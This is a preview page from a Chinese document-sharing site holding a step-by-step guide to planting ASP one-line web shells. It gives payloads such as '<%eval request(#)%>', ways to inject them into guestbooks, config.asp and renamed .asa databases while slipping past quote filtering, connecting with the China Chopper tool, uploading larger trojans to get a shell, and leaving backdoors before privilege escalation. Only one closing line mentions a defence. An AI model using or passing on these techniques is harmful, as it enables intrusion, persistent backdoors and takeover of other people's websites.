一句话使用方法.docx

上传人:牧羊曲112 文档编号:3191469 上传时间:2023-03-11 格式:DOCX 页数:6 大小:38.99KB
返回 下载 相关 举报
一句话使用方法.docx_第1页
第1页 / 共6页
一句话使用方法.docx_第2页
第2页 / 共6页
一句话使用方法.docx_第3页
第3页 / 共6页
一句话使用方法.docx_第4页
第4页 / 共6页
一句话使用方法.docx_第5页
第5页 / 共6页
亲,该文档总共6页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述

《一句话使用方法.docx》由会员分享,可在线阅读,更多相关《一句话使用方法.docx(6页珍藏版)》请在三一办公上搜索。

1、一句话使用方法1进入后台之后找网站信息配置2在企业邮局里面拷贝出来邮箱做好记录,恢复用3在企业邮箱内插入一句话4保存配置,打开中国菜刀5 其中XXXX为你的目标站6菜刀右键添加,把网址第五步的丢进去 右边那一栏输入一句话的密码pass下面的脚本类型为asp 其他不变 最后点添加7用中国菜刀链接点击文件管理 8在inc目录下上传一个小马9 打开10 打开小马输入密码进入小马11 复制文件地址输入上面的栏中后面加大马名字.asp12 把大马以txt文档形式打开,复制粘贴至下面的栏中。13 保存14 访问11步骤中的大马15 输入大马密码,成功得到shell一句话的总结一 留言本插入在留言框内 插入

2、一句话 <%eval request(#)%><%execute request(#)%>攠数畣整爠焕敌瑳忾这三个都是asp一句话,在国内小站asp还是比较泛滥的。如果当前web没有进行过滤可以直接以留言的方式提交过去。如果过滤不严可以闭合插入。如最简单的%><%eval request(#)%><% 比如当前页http:/site/guest/guestbook.asp你在当前页提交一句话后是不能直接链接http:/site/guestbook.asp的,因为一句话代码并不在这里!这里需要一个前提条件1)他的数据库是为了防止*.mdb 下载而更名为*.asa

3、or *.asp 格式2)满足了条件1的同时你知道他的数据库位置ex:http:/site/guest/db/guestdb.asa or guest.asp当满足第一条 和第二条中的两小条后可以成功插入一句话数据库修改过后缀名 asa asp知道具体位置满足以上条件后 在 http:/site/guest/guestbook.asp 插入一句话链接 http:/site/guest/db/guestdb.asa二 配置文件插入一句话一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插入配置文件有一个很大的风险,那就是

4、一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又慎。话归正题,如果想插入配置文件,一般是config.asp,那么首先需要了解这个文件的一般情况。网站的配置一般是保存网站名,地址,email之类的,既然是字符,那么格式应当是webname=“test website”对于这样的配置插入一句话的话,我们的机会就是替换test website,那么需要闭合2个”,同时要插入一句话,语句可以这样“%><%eval request(“d”%><%s=”那么在config.asp中就是webname=“ “%><%eva

5、l request(“d”%><%s=” ”第一个”是闭合前面的配置文件中的”,%>就是闭合前一段脚本,之后插入一句话<%eval request(“d”%>,现在要闭合原来的”和%>所以加入<%s=”,这里特别要注意“s=”,如果没有这个等号的话,那么就会成<%” “,这样必将出错。好了,这是常规的办法,现在我们回到开始那个问题,按照前面的方法插入插入后,我们再点击“网站设置” ,出现错误从这个错误,我们可以得到2个信息。第一,配置文件的路径:第二,网站名的变量为webname。由于我们闭合前面双引号起”的那个双引号收”被过滤成单引号,所以就成了webname

6、=” ,这样的话那么这个双引号没有闭合,由于双引号是vbscript的控制符,没有闭合config.asp运行必然出错。那么我们遇到这种双引号被过滤了的情况改怎么办呢。由于插入一句话必须要用双引号括起来,而输入双引号又被过滤,所以我们可以利用他们自身的双引号来解决。在配置文件中,我们还可以看到这样一些设置就是配置网站的公告数 ,文章数等。可以假设一下,他必然是整数赋值,没有双引号包括num=5num是整数型,不然就成字符了num=”5那么我们的一句话就可以这样构建在公告数中我们插入5%><%eval request(webname)%><%必须要有5,不然将会出错,在网站名中我

7、们插入”open”由于我们没有输入双引号,不存在过滤,我们利用 配置文件本身的双引号来达到目的。那么配置文件现在的内容如下<% . webname=”open” num=5%><%eval request(webname)%><% webnum=7 . %> 我们的一句话就相应为eval request(“open”),open为seo/>密码。用菜刀成功连接从上可见,我们成功利用配置文件本身避开了一句话中双引号被过滤的问题。那么在网页设计方面,我们可以增加过滤<,%,>或者组合<%,%>这些特殊符号,禁止这些符号的输入,那么将大大增加网页安全。三

8、网站友情链接或者是管理员添加插入一句话,等等.就跟配置文件类似当成功在配置文件中插入一句话后,可以连接 http:/site/inc/config.asp也就是说你的一句话最终保存在那个asp文件中你就去连那个ASP文件,并不是你在留言本主页插入的一句话你就去连接留言本主页!你需要知道你的一句话的归属地。在成功得到webshell ,需要先留后门在进一步提权。因为你提权时弄出动静后会前功尽弃。留一个一句话是很好的选择。可以把后门直接写入在asp文件中,也可以自己重新上传一个ASP马,在修改原有ASP文件的同时需要备份一下以防插挂后可以补救。有人喜欢插入在dbcon.asp 数据连接文件中或者其他位置。这个跟当时情况而定。

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 生活休闲 > 在线阅读


备案号:宁ICP备20000045号-2

经营许可证:宁B2-20210002

宁公网安备 64010402000987号